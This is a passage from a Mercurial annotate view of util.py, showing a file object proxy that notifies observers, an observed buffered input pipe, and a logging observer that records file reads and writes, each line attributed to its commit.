bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   590
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   591
            r'flush', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   592
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   593
    def isatty(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   594
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   595
            r'isatty', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   596
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   597
    def readable(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   598
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   599
            r'readable', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   600
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   601
    def readline(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   602
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   603
            r'readline', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   604
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   605
    def readlines(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   606
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   607
            r'readlines', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   608
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   609
    def seek(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   610
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   611
            r'seek', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   612
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   613
    def seekable(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   614
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   615
            r'seekable', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   616
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   617
    def tell(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   618
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   619
            r'tell', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   620
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   621
    def truncate(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   622
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   623
            r'truncate', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   624
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   625
    def writable(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   626
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   627
            r'writable', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   628
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   629
    def writelines(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   630
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   631
            r'writelines', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   632
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   633
    def read(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   634
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   635
            r'read', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   636
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   637
    def readall(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   638
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   639
            r'readall', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   640
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   641
    def readinto(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   642
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   643
            r'readinto', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   644
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   645
    def write(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   646
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   647
            r'write', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   648
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   649
    def detach(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   650
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   651
            r'detach', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   652
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   653
    def read1(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   654
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   655
            r'read1', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   656
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   657
class observedbufferedinputpipe(bufferedinputpipe):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   658
    """A variation of bufferedinputpipe that is aware of fileobjectproxy.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   659
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   660
    ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   661
    bypass ``fileobjectproxy``. Because of this, we need to make
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   662
    ``bufferedinputpipe`` aware of these operations.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   663
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   664
    This variation of ``bufferedinputpipe`` can notify observers about
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   665
    ``os.read()`` events. It also re-publishes other events, such as
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   666
    ``read()`` and ``readline()``.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   667
    """
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   668
    def _fillbuffer(self):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   669
        res = super(observedbufferedinputpipe, self)._fillbuffer()
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   670
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   671
        fn = getattr(self._input._observer, r'osread', None)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   672
        if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   673
            fn(res, _chunksize)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   674
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   675
        return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   676
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   677
    # We use different observer methods because the operation isn't
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   678
    # performed on the actual file object but on us.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   679
    def read(self, size):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   680
        res = super(observedbufferedinputpipe, self).read(size)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   681
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   682
        fn = getattr(self._input._observer, r'bufferedread', None)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   683
        if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   684
            fn(res, size)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   685
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   686
        return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   687
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   688
    def readline(self, *args, **kwargs):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   689
        res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   690
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   691
        fn = getattr(self._input._observer, r'bufferedreadline', None)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   692
        if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   693
            fn(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   694
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   695
        return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   696
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   697
DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   698
DATA_ESCAPE_MAP.update({
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   699
    b'\\': b'\\\\',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   700
    b'\r': br'\r',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   701
    b'\n': br'\n',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   702
})
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   703
DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]')
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   704
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   705
def escapedata(s):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   706
    return DATA_ESCAPE_RE.sub(lambda m: DATA_ESCAPE_MAP[m.group(0)], s)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   707
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   708
class fileobjectobserver(object):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   709
    """Logs file object activity."""
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   710
    def __init__(self, fh, name, reads=True, writes=True, logdata=False):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   711
        self.fh = fh
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   712
        self.name = name
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   713
        self.logdata = logdata
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   714
        self.reads = reads
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   715
        self.writes = writes
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   716
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   717
    def _writedata(self, data):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   718
        if not self.logdata:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   719
            self.fh.write('\n')
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   720
            return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   721
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   722
        # Simple case writes all data on a single line.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   723
        if b'\n' not in data:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   724
            self.fh.write(': %s\n' % escapedata(data))
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   725
            return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   726
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   727
        # Data with newlines is written to multiple lines.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   728
        self.fh.write(':\n')
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   729
        lines = data.splitlines(True)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   730
        for line in lines:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   731
            self.fh.write('%s>     %s\n' % (self.name, escapedata(line)))
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   732
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   733
    def read(self, res, size=-1):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   734
        if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   735
            return
36585
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36584
diff changeset
   736
        # Python 3 can return None from reads at EOF instead of empty strings.
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36584
diff changeset
   737
        if res is None:
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36584
diff changeset
   738
            res = ''
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   739
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   740
        self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   741
        self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   742
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   743
    def readline(self, res, limit=-1):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   744
        if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   745
            return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   746
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   747
        self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   748
        self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   749
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   750
    def write(self, res, data):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   751
        if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   752
            return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   753
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   754
        self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   755
        self._writedata(data)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   756
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   757
    def flush(self, res):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   758
        if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   759
            return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   760
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   761
        self.fh.write('%s> flush() -> %r\n' % (self.name, res))
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   762
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   763
    # For observedbufferedinputpipe.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   764
    def bufferedread(self, res, size):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   765
        self.fh.write('%s> bufferedread(%d) -> %d' % (
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   766
            self.name, size, len(res)))
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   767
        self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   768
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   769
    def bufferedreadline(self, res):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   770
        self.fh.write('%s> bufferedreadline() -> %d' % (self.name, len(res)))
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   771
        self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   772
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   773
def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   774
                          logdata=False):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   775
    """Turn a file object into a logging file object."""
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   776
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   777
    observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   778
                                  logdata=logdata)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   779
    return fileobjectproxy(fh, observer)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   780
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   781
def version():
9626819b2e3d refactor version code
